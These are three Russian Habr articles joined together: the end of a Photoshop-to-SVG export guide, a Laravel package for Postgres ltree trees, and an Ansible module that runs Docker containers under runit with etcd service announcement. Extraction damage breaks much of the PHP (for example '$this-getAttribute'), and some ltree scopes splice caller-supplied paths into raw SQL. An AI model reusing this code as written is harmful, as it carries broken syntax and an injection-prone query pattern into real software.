2. Перетянуть в свою папку скриптов Photoshop («Adobe Photoshop/presets/scripts»).
3. (ОПЦИОНАЛЬНО) Перейти в Photoshop и сделать для скрипта горячую клавишу «Edit» menu –> Keyboard Shortcuts и потом в File –> Scripts –> PS to SVG. Как вариант, можно выбрать сочетание из CMD+ALT+E.
4. В файле PSD в конце векторных слоев, которые будут экспортироваться, нужно дописать префикс ".svg". Например, слой под названием “Sky” преобразуется в “Sky.svg”.
5. После переименования слоев достаточно активировать скрипт горячей клавишей или через меню File –> Scripts –> PS to SVG. И файлы будут в той же папке, где хранятся PSD.
Примечание: чтобы скрипт работал быстрее, перед его активацией нужно открыть Illustrator.
#### Проблемы, которые встречаются:
— скрипт не совместим с новыми версиями Photoshop CC;
— дополнительно к SVG, скрипт создает и файлы AI (но их можно просто удалить);
— скрипт работает только с векторными слоями, не с группами слоев.
#### Если скрипт не работает:
— убедитесь, что Вы помещаете ".svg" (DOT SVG) в конце названия слоя, который нужно экспортировать. А также, что каждый из слоев — в единственном экземпляре;
— проверьте, запущен и работает ли Illustrator;
— перед началом процесса убедитесь, что все экспортируемые слои являются замкнутыми векторами.
В некоторых случаях при экспорте исходников может наблюдаться искажение цвета. Тогда в скрипт после строки:
```
"bt.body += "app.open(" + s.svgFile.toSource() + ", DocumentColorSpace.RGB, dtOpts);"; "
```
следует вставить строку:
```
"bt.body += "app.executeMenuCommand ('doc-color-rgb');";"
``` | https://habr.com/ru/post/277673/ | null | ru | null |
# Как подружить ltree и Laravel
Я участвую в разработке ERP системы, в детали посвящать вас не буду, это тайна за семью печатями, но скажу лишь одно, древовидных справочников у нас много и вложенность их не ограничена, кол-во в некоторых составляет несколько тысяч, а работать с ними надо максимально эффективно и удобно, как с точки зрения кода, так с точки зрения производительности.
Что нам нужно
-------------
* Быстро доставать любые срезы дерева и его ветвей, как вверх к родителям, так и вниз к листьям
* Уметь также доставать все узлы, кроме листьев
* Дерево должно быть консистентным, т.е. не иметь пропущенных узлов в иерархии родителей
* Материализованные пути должны строиться автоматом
* При перемещении или удалении узла, обновляются также все дочерние узлы и перестраиваются их пути
* Научиться из плоской коллекции, быстро построить дерево.
* Так как справочников много, компоненты должны быть переиспользуемые
* Так как планируется выносить в гитхаб, задействовать абстракции и интерфейсы.
Так как мы используем Postgres, выбор пал на ltree, подробнее о том, что это такое можно прочитать в конце статьи.
Установка расширения
--------------------
Пример миграции для создания расширения
```
php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\App;
use Illuminate\Support\Facades\DB;
class CreateLtreeExtension extends Migration
{
public function up(): void
{
DB::statement('CREATE EXTENSION IF NOT EXISTS LTREE');
}
public function down(): void
{
DB::statement('DROP EXTENSION IF EXISTS LTREE');
}
}</code
```
Задача
------
Например, у нас есть товары и есть категории товаров. Категории представляют собой дерево и могут иметь подчиненные категории, уровень вложенности неограничен и может быть любой. Допустим это будут таблицы.
Категории товаров (categories)
| | | |
| --- | --- | --- |
| **id** | bigserial | PK |
| **path** | ltree | материализованный путь |
| **parent\_id** | biginteger | родительская категория |
В path будут храниться материализованные пути, пример
id: 1
path: 1
parent\_*id: null
id: 2
path: 1.2
parent\_id: 2
и тд..*
Товары (products)
| | | |
| --- | --- | --- |
| **id** | bigserial | PK |
| **category\_id** | biginteger | категория |
Если вы уже используете [пакет для Postgres](https://habr.com/ru/post/537426/), значит вы уже знаете, что в добавляя новый extension, у нас появляется новый тип данных для Doctrine и его нужно зарегистрировать, сделать это не сложно, достаточно через composer установить этот пакет и тогда это бремя за вас сделает провайдер, который автоматом будет зарегистрирован:
```
composer require umbrellio/laravel-ltree
```
Пример миграции, использованием нового типа в Postgres
```
php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
use Umbrellio\Postgres\Schema\Blueprint;
class CreateCategoryExtension extends Migration
{
public function up(): void
{
Schema::table('categories', function (Blueprint $table) {
$table-bigIncrements('id');
$table->bigInteger('parent_id')->nullable();
$table->ltree('path')->nullable();
$table
->foreign('parent_id')
->references('id')
->on('categories');
$table->index(['parent_id']);
$table->unique(['path']);
});
DB::statement("COMMENT ON COLUMN categories.path IS '(DC2Type:ltree)'");
}
public function down(): void
{
Schema::drop('categories');
}
}
```
При такой структуре самое простое, что приходит на ум, чтобы достать все дерево категорий товаров, это такой запрос:
```
SELECT * FROM categories;
```
Но, это нам вернет плоский список категорий, а отрисовать их, разумеется, нам надо в виде дерева. Поэтому самое простое решение, если бы мы не использовали ltree, был бы такой запрос:
```
SELECT * FROM categories WHERE parent_id IS NULL
```
Иными словами, только корневые категории. Ну а далее, используя рекурсию, отрисовывая корневые категории, будем дергать запрос для получения дочерних категорий, передавая туда ID категории:
```
SELECT * FROM categories WHERE parent_id =
```
Но, как вы видите, это долго, муторно и совсем не интересно, когда у нас в распоряжении есть ltree. С ним становится все гораздо проще, чтобы достать все дочерние категории, начиная от корня, ну или не от корня, а от произвольного узла, достаточно такого запроса:
```
SELECT * FROM categories WHERE path @> text2ltree('')
```
Вернемся к Laravel
------------------
Для начала напишем интерфейс древовидной модели и пару методов, для работы с ltree. Как вы их писать через абстрактный класс или через трейт не так важно, дело вкуса каждого, я выбираю трейты, т.к. если мне понадобится унаследовать модели не от Eloquent\Model я всегда смогу это сделать.
Пример интерфейса: LTreeInterface
```
php
namespace Umbrellio\LTree\Interfaces;
interface LTreeInterface
{
public const AS_STRING = 1;
public const AS_ARRAY = 2;
public function getLtreeParentColumn(): string;
public function getLtreeParentId(): ?int;
public function getLtreePathColumn(): string;
public function getLtreePath($mode = self::AS_ARRAY);
public function getLtreeLevel(): int;
}</code
```
Пример трейта: LTreeTrait
```
php
trait LTreeTrait
{
abstract public function getAttribute($key);
public function getLtreeParentColumn(): string
{
return 'parent_id';
}
public function getLtreePathColumn(): string
{
return 'path';
}
public function getLtreeParentId(): ?int
{
$value = $this-getAttribute($this->getLtreeParentColumn());
return $value ? (int) $value : null;
}
public function getLtreePath($mode = LTreeInterface::AS_ARRAY)
{
$path = $this->getAttribute($this->getLtreePathColumn());
if ($mode === LTreeModelInterface::AS_ARRAY) {
return $path !== null ? explode('.', $path) : [];
}
return (string) $path;
}
public function getLtreeLevel(): int
{
return is_array($path = $this->getLtreePath()) ? count($path) : 1;
```
Пример модели, реализующей интерфейс LTreeInterface: Category
```
php
final class Category extends Model implements LTreeInterface
{
use LTreeTrait;
protected $table = 'categories';
protected $fillable = ['parent_id', 'path'];
protected $timestamps = false;
}</code
```
Теперь, добавим несколько скоупов для удобной работы с материализованными путями:
Пример трейта: LTreeTrait
```
php
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Database\Eloquent\SoftDeletes;
use Umbrellio\LTree\Collections\LTreeCollection;
use Umbrellio\LTree\Interfaces\LTreeModelInterface;
trait LTreeTrait
{
//...
public function scopeParentsOf(Builder $query, array $paths): Builder
{
return $query-whereRaw(sprintf(
"%s @> array['%s']::ltree[]",
$this->getLtreePathColumn(),
implode("', '", $paths)
));
}
public function scopeRoot(Builder $query): Builder
{
return $query->whereRaw(sprintf('nlevel(%s) = 1', $this->getLtreePathColumn()));
}
public function scopeDescendantsOf(Builder $query, LTreeModelInterface $model): Builder
{
return $query->whereRaw(sprintf(
"({$this->getLtreePathColumn()} <@ text2ltree('%s')) = true",
$model->getLtreePath(LTreeModelInterface::AS_STRING),
));
}
public function scopeAncestorsOf(Builder $query, LTreeModelInterface $model): Builder
{
return $query->whereRaw(sprintf(
"({$this->getLtreePathColumn()} @> text2ltree('%s')) = true",
$model->getLtreePath(LTreeModelInterface::AS_STRING),
));
}
public function scopeWithoutSelf(Builder $query, int $id): Builder
{
return $query->whereRaw(sprintf('%s <> %s', $this->getKeyName(), $id));
}
```
Где:
* **scopeAncestorsOf** - позволяет доставать нам всех родителей вверх до корня (включая текущий узел)
* **scopeDescendantsOf** - позволяет доставать всех детей вниз до листика (включая текущий узел)
* **scopeWithoutSelf** - исключает текущий узел
* **scopeRoot** - позволяет достать только корневые узлы 1-ого уровня
* **scopeParentsOf** - почти тоже самое что и scopeAncestorsOf, только для нескольких узлов.
Т.е. добавив трейт к модели, она уже умеет при помощи нехитрых манипуляций работать с отдельными ветками, получать родителей, детей и тд.
Усложним задачу
---------------
Представим, что товары могут лежать не только в листиках, но и в промежуточных узлах. На входе мы имеем категорию - уровня листик, какого уровня вложенности мы не знаем, да это и не важно. Нужно достать все товары из категории, а также из всех родительских категорий этого листика.
Самое простое, что приходит на ум, нам нужно достать все идентификаторы категорий, а потом запросить товары находящиеся в выбранных категориях:
```
php
// ID категории (листика) = 15
$categories = Category::ancestorsOf(15)-get()->pluck('id')->toArray();
$products = Product::whereIn('category_id', $caregories)->get();
```
Рисуем дерево
-------------
Да, мы научились работать с древовидной структурой на уровне БД, но как же отрисовать дерево, все еще не понятно.
Задача все та же, это должен быть 1 запрос и нарисовать мы должны дерево, вернемся к запросу:
```
SELECT * FROM categories;
```
Для того, чтобы используя этот запрос, у нас было дерево, первое что приходит на ум, это нам надо каким-то образом преобразовать массив вида:
```
php
$a = [
[1, '1', null],
[2, '1.2', 1],
[3, '1.2.3', 2],
[4, '4', null],
[5, '1.2.5', 2],
[6, '4.6', 4],
// ...
];</code
```
К такому:
```
php
$a = [
0 = [
'id' => 1,
'level' => 1,
'children' => [
0 => [
'id' => 2,
'level' => 2,
'children' => [
0 => [
'id' => 3,
'level' => 3,
'children' => [],
],
1 => [
'id' => 5,
'level' => 3,
'children' => [],
],
]
]
]
],
1 => [
'id' => 4,
'level' => 1,
'children' => [
0 => [
'id' => 6,
'level' => 2,
'children' => [],
]
]
]
];
```
Тогда при помощи обычной рекурсии мы смогли бы отрисовать дерево, пример грубый, написан на коленке, но это сейчас не важно:
```
php
$categories = Category::all()-toTree(); // Collection
function renderTree(Collection $collection) {
/** @var LTreeNode $item */
foreach ($collection as $item) {
if ($item->children->isNotEmpty()) {
renderTree($item->children);
return;
}
}
echo str_pad($item->id, $item->level - 1, "---", STR_PAD_LEFT) . PHP_EOL;
}
```
Немного изменений
-----------------
Доработаем нашу модель, а именно трейт, добавив в него методы для гидрации в особую коллекцию:
```
php
trait LTreeTrait
{
//...
public function newCollection(array $models = []): LTreeCollection
{
return new LTreeCollection($models);
}
public function ltreeParent(): BelongsTo
{
return $this-belongsTo(static::class, $this->getLtreeParentColumn());
}
public function ltreeChildren(): HasMany
{
return $this->hasMany(static::class, $this->getLtreeParentColumn());
}
}
```
Данный метод будет возвращать специальную коллекцию, получив на входе плоский массив, преобразует его к дереву, когда это будет необходимо.
Пример коллекции: LTreeCollection
```
php
use Illuminate\Database\Eloquent\Collection;
use Illuminate\Database\Eloquent\Model;
use Umbrellio\LTree\Helpers\LTreeBuilder;
use Umbrellio\LTree\Helpers\LTreeNode;
use Umbrellio\LTree\Interfaces\HasLTreeRelations;
use Umbrellio\LTree\Interfaces\LTreeInterface;
use Umbrellio\LTree\Interfaces\ModelInterface;
use Umbrellio\LTree\Traits\LTreeModelTrait;
class LTreeCollection extends Collection
{
private $withLeaves = true;
public function toTree(bool $usingSort = true, bool $loadMissing = true): LTreeNode
{
if (!$model = $this-first()) {
return new LTreeNode();
}
if ($loadMissing) {
$this->loadMissingNodes($model);
}
if (!$this->withLeaves) {
$this->excludeLeaves();
}
$builder = new LTreeBuilder(
$model->getLtreePathColumn(),
$model->getKeyName(),
$model->getLtreeParentColumn()
);
return $builder->build($collection ?? $this, $usingSort);
}
public function withLeaves(bool $state = true): self
{
$this->withLeaves = $state;
return $this;
}
private function loadMissingNodes($model): self
{
if ($this->hasMissingNodes($model)) {
$this->appendAncestors($model);
}
return $this;
}
private function excludeLeaves(): void
{
foreach ($this->items as $key => $item) {
if ($item->ltreeChildren->isEmpty()) {
$this->forget($key);
}
}
}
private function hasMissingNodes($model): bool
{
$paths = collect();
foreach ($this->items as $item) {
$paths = $paths->merge($item->getLtreePath());
}
return $paths
->unique()
->diff($this->pluck($model->getKeyName()))
->isNotEmpty();
}
private function appendAncestors($model): void
{
$paths = $this
->pluck($model->getLtreePathColumn())
->toArray();
$ids = $this
->pluck($model->getKeyName())
->toArray();
$parents = $model::parentsOf($paths)
->whereKeyNot($ids)
->get();
foreach ($parents as $item) {
$this->add($item);
}
}
}
```
Эта коллекция по сути ничем не отличается от встроенной в Laravel, т.е. если ее итерировать мы все еще будем иметь плоский список. Но если вызвать метод **toTree**, то плоская коллекция, где все категории всех уровней вложенности были на одном уровне, рекурсивно выстроятся в свойства children и мы получим из обычного плоского массива - многоуровневый массив соответствующий нашему дереву.
А используя специальные скоупы, мы сможем строить деревья для отдельных ветвей, например:
```
php
$categories = Category::ancestorsOf(15)-get()->toTree();
```
Также нам понадобится еще два класса, которые будут собственно строить дерево, это класс - представляющий узел и класс билдера, который будет рекурсивно обходить коллекцию и выстраивать узлы в нужном нам порядке (и сортировке):
LTreeNode
```
php
use Illuminate\Database\Eloquent\Collection;
use Illuminate\Database\Eloquent\Model;
use InvalidArgumentException;
use Umbrellio\Common\Contracts\AbstractPresenter;
use Umbrellio\LTree\Collections\LTreeCollection;
use Umbrellio\LTree\Interfaces\LTreeInterface;
use Umbrellio\LTree\Interfaces\ModelInterface;
class LTreeNode extends AbstractPresenter
{
protected $parent;
protected $children;
public function __construct($model = null)
{
parent::__construct($model);
}
public function isRoot(): bool
{
return $this-model === null;
}
public function getParent(): ?self
{
return $this->parent;
}
public function setParent(?self $parent): void
{
$this->parent = $parent;
}
public function addChild(self $node): void
{
$this
->getChildren()
->add($node);
$node->setParent($this);
}
public function getChildren(): Collection
{
if (!$this->children) {
$this->children = new Collection();
}
return $this->children;
}
public function countDescendants(): int
{
return $this
->getChildren()
->reduce(
static function (int $count, self $node) {
return $count + $node->countDescendants();
},
$this
->getChildren()
->count()
);
}
public function findInTree(int $id): ?self
{
if (!$this->isRoot() && $this->model->getKey() === $id) {
return $this;
}
foreach ($this->getChildren() as $child) {
$result = $child->findInTree($id);
if ($result !== null) {
return $result;
}
}
return null;
}
public function each(callable $callback): void
{
if (!$this->isRoot()) {
$callback($this);
}
$this
->getChildren()
->each(static function (self $node) use ($callback) {
$node->each($callback);
});
}
public function toCollection(): LTreeCollection
{
$collection = new LTreeCollection();
$this->each(static function (self $item) use ($collection) {
$collection->add($item->model);
});
return $collection;
}
public function pathAsString()
{
return $this->model ? $this->model->getLtreePath(LTreeInterface::AS_STRING) : null;
}
public function toTreeArray(callable $callback)
{
return $this->fillTreeArray($this->getChildren(), $callback);
}
/**
* Usage sortTree(['name' =>'asc', 'category'=>'desc'])
* or callback with arguments ($a, $b) and return -1 | 0 | 1
* @param array|callable $options
*/
public function sortTree($options)
{
$children = $this->getChildren();
$callback = $options;
if (!is_callable($options)) {
$callback = $this->optionsToCallback($options);
}
$children->each(static function ($child) use ($callback) {
$child->sortTree($callback);
});
$this->children = $children
->sort($callback)
->values();
}
private function fillTreeArray(iterable $nodes, callable $callback)
{
$data = [];
foreach ($nodes as $node) {
$item = $callback($node);
$children = $this->fillTreeArray($node->getChildren(), $callback);
$item['children'] = $children;
$data[] = $item;
}
return $data;
}
private function optionsToCallback(array $options): callable
{
return function ($a, $b) use ($options) {
foreach ($options as $property => $sort) {
if (!in_array(strtolower($sort), ['asc', 'desc'], true)) {
throw new InvalidArgumentException("Order '${sort}'' must be asc or desc");
}
$order = strtolower($sort) === 'desc' ? -1 : 1;
$result = $a->{$property} <=> $b->{$property};
if ($result !== 0) {
return $result * $order;
}
}
return 0;
};
}
}
```
LTreeBuilder
```
php
class LTreeBuilder
{
private $pathField;
private $idField;
private $parentIdField;
private $nodes = [];
private $root = null;
public function __construct(string $pathField, string $idField, string $parentIdField)
{
$this-pathField = $pathField;
$this->idField = $idField;
$this->parentIdField = $parentIdField;
}
public function build(LTreeCollection $items, bool $usingSort = true): LTreeNode
{
if ($usingSort === true) {
$items = $items->sortBy($this->pathField, SORT_STRING);
}
$this->root = new LTreeNode();
foreach ($items as $item) {
$node = new LTreeNode($item);
[$id, $parentId] = $this->getNodeIds($item);
$parentNode = $this->getNode($parentId);
$parentNode->addChild($node);
$this->nodes[$id] = $node;
}
return $this->root;
}
private function getNodeIds($item): array
{
$parentId = $item->{$this->parentIdField};
$id = $item->{$this->idField};
if ($id === $parentId) {
throw new LTreeReflectionException($id);
}
return [$id, $parentId];
}
private function getNode(?int $id): LTreeNode
{
if ($id === null) {
return $this->root;
}
if (!isset($this->nodes[$id])) {
throw new LTreeUndefinedNodeException($id);
}
return $this->nodes[$id];
}
}
```
Для простоты отрисовки дерева напишем еще два абстрактных ресурса:
AbstractLTreeResource
```
php
namespace Umbrellio\LTree\Resources;
use Illuminate\Http\Resources\Json\ResourceCollection;
use Illuminate\Support\Collection;
use Umbrellio\LTree\Collections\LTreeCollection;
abstract class LTreeResourceCollection extends ResourceCollection
{
/**
* @param LTreeCollection|Collection $resource
*/
public function __construct($resource, $sort = null, bool $usingSort = true, bool $loadMissing = true)
{
$collection = $resource-toTree($usingSort, $loadMissing);
if ($sort) {
$collection->sortTree($sort);
}
parent::__construct($collection->getChildren());
}
}
```
AbstractLTreeResourceCollection
```
php
namespace Umbrellio\LTree\Resources;
use Illuminate\Http\Resources\Json\JsonResource;
use Umbrellio\LTree\Helpers\LTreeNode;
use Umbrellio\LTree\Interfaces\LTreeInterface;
/**
* @property LTreeNode $resource
*/
abstract class LTreeResource extends JsonResource
{
final public function toArray($request)
{
return array_merge($this-toTreeArray($request, $this->resource->model), [
'children' => static::collection($this->resource->getChildren())->toArray($request),
]);
}
/**
* @param LTreeInterface $model
*/
abstract protected function toTreeArray($request, $model);
}
```
Вперед на амбразуру
-------------------
Использовать примерно будем так, создадим два ресурса JsonResource:
CategoryResource
```
php
use Umbrellio\LTree\Helpers\LTreeNode;
use Umbrellio\LTree\Resources\LTreeResource;
class CategoryResource extends LTreeResource
{
public function toTreeArray($request, LTreeNode $model)
{
return [
'id' = $model->id,
'level' => $model->getLtreeLevel(),
];
}
}
```
CategoryResourceCollection
```
php
use Umbrellio\LTree\Resources\LTreeResourceCollection;
class CategoryResourceCollection extends LTreeResourceCollection
{
public $collects = CategoryResource::class;
}</code
```
Представим, что у вас есть контроллер **CategoryController** и метод АПИ **data** возвращающий категории в формате json:
Пример контроллера
```
php
use Illuminate\Routing\Controller;
use Illuminate\Http\Request;
class CategoryController extends Controller
{
//...
public function data(Request $request)
{
return response()-json(
new CategoryResourceCollection(
Category::all(),
['id' => 'asc']
)
);
}
}
```
Используя специальные ресурсы, вам не нужно принудительно вызывать метод **toTree**, т.к. все методы Eloquent\Builder-а (get, all, first и тд) в модели реализующей интерфейс LtreeInterface возвращают LtreeCollection, то при использовании данных ресурсов, плоская коллекция автоматически преобразуется к дереву, причем без дополнительных запросов к БД.
Читать научились, научимся писать
---------------------------------
Все описанное выше, помогло нам прочитать дерево из базы данных, отдельную ветвь или все дерево, а также мы научились отрисовывать дерево.
Но чтобы это все мы могли делать, мы должны сначала это дерево уметь сохранять, для этого необходимо сохранить в БД материализованные пути для каждого узла нашего будущего дерева.
Первое что приходит на ум, это форма с двумя полями:
| | |
| --- | --- |
| **id** | input |
| **parent\_id** | select |
Т.е. мы создаем элемент, и если нам нужен корневой, то **parent\_id**не заполняем, а если нужно то заполняем. А **path** по идее должен генерироваться автоматически на основании **id** и **parent\_id.**
Для этого создадим сервис, который будем вызывать после сохранения нашей модели.
Пример сервиса генерирующего path
```
php
namespace Umbrellio\LTree\Services;
use Illuminate\Database\Eloquent\Model;
use Umbrellio\LTree\Helpers\LTreeHelper;
use Umbrellio\LTree\Interfaces\LTreeModelInterface;
use Umbrellio\LTree\Interfaces\LTreeServiceInterface;
final class LTreeService implements LTreeServiceInterface
{
private $helper;
public function __construct(LTreeHelper $helper)
{
$this-helper = $helper;
}
public function createPath(LTreeModelInterface $model): void
{
$this->helper->buildPath($model);
}
public function updatePath(LTreeModelInterface $model): void
{
$columns = array_intersect_key($model->getAttributes(), array_flip($model->getLtreeProxyUpdateColumns()));
$this->helper->moveNode($model, $model->ltreeParent, $columns);
$this->helper->buildPath($model);
}
public function dropDescendants(LTreeModelInterface $model): void
{
$columns = array_intersect_key($model->getAttributes(), array_flip($model->getLtreeProxyDeleteColumns()));
$this->helper->dropDescendants($model, $columns);
}
}
```
* **createPath** - создает path для нового узла, нужно вызывать после создания
* **updatePath** - обновляет path при редактировании. Тут важно понимать, что меняя **path** текущего узла, необходимо также обновить и пути всех его дочерних элементов, и желательно сделать это одним запросом, т.к. в случае если дочерних элементов будет 1000 - делать тысячу запросов на UPDATE как-то не комильфо.
т.е. если мы перемещаем узел в другую подветвь, то вместе с ним перемещаются также и все его дети.
* **dropDescendants** - метод удаляющий всех детей, при удалении узла, тут тоже важно понимать очередность, нельзя удалить узел, не удалив детей, вы сделаете дерево неконсистентным, а детей нужно удалять прежде, чем будете удалять узел.
Методы *getLtreeProxyDeleteColumns* и *getLtreeProxyUpdateColumns* - нужны для проксирования полей типа *deleted\_at, updated\_at, editor\_id* и других полей, которые вы также хотите обновить в дочерних узлах при обновлении текущего узла или удалении.
```
php
class CategoryService
{
private LTreeService $service;
public function __construct (LTreeService $service)
{
$this-service = $service;
}
public function create (array $data): void
{
$model = App::make(Category::class);
$model->fill($data);
$model->save();
// создаем материализованный путь для узла
$this->service->createPath($model);
}
}
```
Конечно, можно запилить немного магии, добавить эвенты, листенеры и дергать методы автоматически, но я больше предпочитаю самому вызывать нужные методы, так хоть есть немного понимания, что происходит за кулисами + можно все это обернуть в транзакцию и не бояться, что где-то вылезет Deadlock.
Подведем итог
-------------
Если у вас Postgres / PHP / Laravel и у вас есть потребность в использовании древовидных справочников (категории, группы и тд), вложенность неограниченная, и вы хотите быстро и просто доставать любые срезы ветвей, вам точно будет полезен этот пакет.
**Использовать его достаточно просто:**
1. Подключаете зависимость в composer: [umbrellio/laravel-ltree](https://github.com/umbrellio/laravel-ltree)
2. Пишете миграцию с использованием типа *ltree* (добавляете parent\_id и path в вашу таблицу-справочник)
3. Имплементируете интерфейс *LTreeModelInterface* и подключаете трейт *LTreeModelTrait в Eloquent\Model-и*.
4. Используете сервис *LTreeService* при операциях создания / обновления и удаления модели
5. Используете ресурсы *LTreeResource* и *LTreeResourceCollection*, если у вас SPA
Ресурсы для изучения
--------------------
* https://postgrespro.ru/docs/postgresql/13/ltree - тут описания расширения Postgres, с примерами и на русском языке
* https://www.postgresql.org/docs/13/ltree.html -для тех, кто любит читать мануалы в оригинале
Спасибо за внимание. | https://habr.com/ru/post/539244/ | null | ru | null |
# Docker и костыли в продакшене
Навеяно публикацией [«Понимая Docker»](http://habrahabr.ru/post/253877/), небольшой пример костылей вокруг докера для запуска веб-приложений.
Я пробовал разные технологии обвязок, но некоторые (fig) выглядят несколько корявыми для применения, а некоторые (kubernetis, mesos) — слишком абстрактными и сложными.
В моей конфигурации есть несколько машин, на машинах выполняются разнообразные веб-приложения, некоторые из них требуют наличия локального хранилища. В качестве базовой схемы примем конфигурацию из двух фронтендов и одного бекенда, ceph (ФС) обеспечивает роуминг данных для бекенда там, где это необходимо.
У машин есть приватный сетевой интерфейс. У фронтендов есть еще и публичный.
Дня конфигурации я использую связку из etcd+skydns (обнаружение сервисов), runit (мониторинг состояния контейнеров) и ansible (конфигурация). Вот код модуля ansible, который я буду обсуждать:
**много кода**
```
#!/usr/bin/env python
import os, sys
from string import Template
def on_error(msg):
def wrap(f):
def wrapped(self, module):
try:
return f(self, module)
except Exception, e:
module.fail_json(msg="%s %s: %s" % (msg, self.name, str(e)))
return wrapped
return wrap
class Service:
SERVICE_PREFIX = 'docker-'
SERVICES_DIR = '/etc/sv'
RUNNING_SERVICES_DIR = '/etc/service'
def __init__(self, name, image, args, announce, announce_as, port):
self.name = name
self.image = image
if args is not None:
self.args = args
else:
self.args = ''
self.announce = announce
self.announce_as = announce_as
self.port = port
def _needs_etcd(self):
return self.announce is not None
def _service_name(self):
return self.SERVICE_PREFIX + self.name
def _root_service_dir(self):
return os.path.join(self.SERVICES_DIR, self._service_name())
def _announced_service_dir(self):
return os.path.join(self._root_service_dir(), 'services', 'service')
def _etcd_service_dir(self):
return os.path.join(self._root_service_dir(), 'services', 'announce')
def _run_service_link(self):
return os.path.join(self.RUNNING_SERVICES_DIR, self._service_name())
def _root_run_file(self):
return os.path.join(self._root_service_dir(), 'run')
def _announced_service_run_file(self):
return os.path.join(self._announced_service_dir(), 'run')
def _etcd_run_file(self):
return os.path.join(self._etcd_service_dir(), 'run')
def exists(self):
return os.path.isdir(self._root_service_dir())
def scheduled_to_run(self):
return os.path.exists(self._run_service_link())
@on_error("Error starting service")
def start(self, module):
if self._needs_update(module):
self.install(module)
if self.scheduled_to_run():
return False
os.symlink(self._root_service_dir(), self._run_service_link())
return True
@on_error("Error stopping service")
def stop(self, module):
if not self.scheduled_to_run():
return False
os.unlink(self._run_service_link())
return True
@on_error("Error installing service")
def install(self, module):
if self._needs_update(module):
self.stop(module)
self.remove(module)
self._create_service(module)
return True
else:
return False
@on_error("Error creating service")
def _create_service(self, module):
self._create_service_dirs(module)
self._write_run_file(self._root_run_file(), self._render_root_run())
if self._needs_etcd():
self._write_run_file(self._announced_service_run_file(), self._render_service_run())
self._write_run_file(self._etcd_run_file(), self._render_etcd_run())
def _write_run_file(self, name, content):
f = open(name, 'w')
f.write(content)
os.fchmod(f.fileno(), 0755)
f.close()
@on_error("Error verifying service existence")
def _needs_update(self, module):
if self.exists():
if os.path.exists(self._root_run_file()):
root_run = self._render_root_run()
curr_run = open(self._root_run_file()).read()
if root_run != curr_run:
return True
if self._needs_etcd():
if os.path.exists(self._announced_service_run_file()):
service_run = self._render_service_run()
curr_run = open(self._announced_service_run_file()).read()
if service_run != curr_run:
return True
if os.path.exists(self._etcd_run_file()):
etcd_run = self._render_etcd_run()
curr_run = open(self._etcd_run_file()).read()
if etcd_run != curr_run:
return True
else:
return True
else:
return True
else:
return True
else:
return True
return False
@on_error("Error creating service directory")
def _create_service_dirs(self, module):
os.mkdir(self._root_service_dir(), 0755)
if self._needs_etcd():
os.mkdir(os.path.join(self._root_service_dir(), 'services'), 0755)
os.mkdir(self._announced_service_dir(), 0755)
os.mkdir(self._etcd_service_dir(), 0755)
@on_error("Error removing service")
def remove(self, module):
if not self.exists():
return False
if self.scheduled_to_run():
self.stop(module)
from shutil import rmtree
rmtree(self._root_service_dir())
return True
def _render_root_run(self):
if self._needs_etcd():
return self._render_runsv_run()
else:
return self._render_service_run()
def _render_service_run(self):
args = self.args
if self.announce:
if self.port is not None:
port = self.port
else:
port = self.announce
if self.announce_as != 'container':
args += " -p $ANNOUNCE_IP:" + self.announce + ":" + port
return Template("""#!/bin/bash
CONTAINER_NAME=$name
ifconfig eth1 >/dev/null 2>&1
if [[ $$? -eq 0 ]]; then
PUBILC_IF=eth0
PRIVATE_IF=eth1
else
PUBILC_IF=eth0
PRIVATE_IF=eth0
fi
case "$announce_as" in
public) ANNOUNCE_IP="`ifconfig $$PUBILC_IF | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\\2/p'`"
;;
private) ANNOUNCE_IP="`ifconfig $$PRIVATE_IF | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\\2/p'`"
;;
*) ANNOUNCE_IP=""
;;
esac
docker inspect $$CONTAINER_NAME|grep State >/dev/null 2>&1
if [ $$? -eq 0 ]; then
docker rm $$CONTAINER_NAME || { echo "cannot remove container $$CONTAINER_NAME"; exit 1; }
fi
docker pull $image
exec docker run \
-i --rm \
--name $$CONTAINER_NAME \
--hostname "`hostname`-$name" \
$args \
$image
""").substitute(name=self.name, image=self.image, args=args, announce_as=self.announce_as)
def _render_runsv_run(self):
return """#!/bin/bash
runsvdir -P services &
RUNSVPID=$!
trap "{ sv stop `pwd`/services/*; sv wait `pwd`/services/*; kill -HUP $RUNSVPID ; exit 0; }" SIGINT SIGTERM
wait
"""
def _render_etcd_run(self):
return Template("""#!/bin/bash
ETCD="http://192.0.2.1:4001"
DOMAIN="com/example/prod/s/$name/`hostname`"
ifconfig eth1 >/dev/null 2>&1
if [[ $$? -eq 0 ]]; then
PUBILC_IF=eth0
PRIVATE_IF=eth1
else
PUBILC_IF=eth0
PRIVATE_IF=eth0
fi
case "$announce_as" in
public) ANNOUNCE_IP="`ifconfig $$PUBILC_IF | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\\2/p'`"
;;
private) ANNOUNCE_IP="`ifconfig $$PRIVATE_IF | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\\2/p'`"
;;
*) ANNOUNCE_IP=""
;;
esac
enable -f /usr/lib/sleep.bash sleep
trap "{ curl -L "$$ETCD/v2/keys/skydns/$$DOMAIN" -XDELETE ; exit 0; }" SIGINT SIGTERM
while true; do
if [[ "$announce_as" == "container" ]]; then
ANNOUNCE_IP="`docker inspect --format '{{ .NetworkSettings.IPAddress }}' $name`"
fi
curl -L "$$ETCD/v2/keys/skydns/$$DOMAIN" -XPUT -d value="{\\"host\\": \\"$$ANNOUNCE_IP\\", \\"port\\": $port}" -d ttl=60 >/dev/null 2>&1
sleep 45
done""").substitute(name=self.name, port=self.announce, announce_as=self.announce_as)
def main():
module = AnsibleModule(
argument_spec = dict(
state = dict(required=True, choices=['present', 'absent', 'enabled', 'disabled']),
name = dict(required=True),
image = dict(required=True),
args = dict(default=None),
announce = dict(default=None),
announce_as = dict(default='private', choices=['public', 'private', 'container']),
port = dict(default=None)
)
)
